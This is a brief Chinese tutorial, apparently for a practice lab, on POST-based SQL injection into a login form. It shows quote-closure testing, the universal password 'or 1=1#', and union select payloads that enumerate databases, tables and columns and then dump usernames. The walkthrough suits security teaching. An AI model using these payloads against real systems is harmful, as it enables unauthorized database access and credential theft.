POST型注入,不能直接在地址栏构造payload,通过bp或者hackbar构造payload
1、先抓包查看传参方式和传参数据
2、闭合测试
在admin后加一个单引号重新发包,出现报错,可知是单引号闭合方式
用万能密码'or 1=1#试试
3、使用order by语句判断有几列
order by3报错,order by2回显正常,所有有两个回显位
4、查库,得到当前数据库为security
uname=1admin' union select 1,database()#&passwd=admin&submit=Submit
得到第一个数据库名
uname=1admin' union select 1,schema_name from information_schema.schemata limit 0,1#&passwd=admin&submit=Submit
改变limit语句为1,1得到第二个库名,依此类推可得到所有数据库名
使用group_concat()可一次性查出所有库名
uname=1admin' union select 1,group_concat(schema_name) from information_schema.schemata #&passwd=admin&submit=Submit
5、查表(以security库为例)
uname=1admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=admin&submit=Submit
6、查列(以users表为例)
uname=1admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=admin&submit=Submit
7、查字段(以username列为例)
uname=1admin' union select 1,group_concat(username) from security.users #&passwd=admin&submit=Submit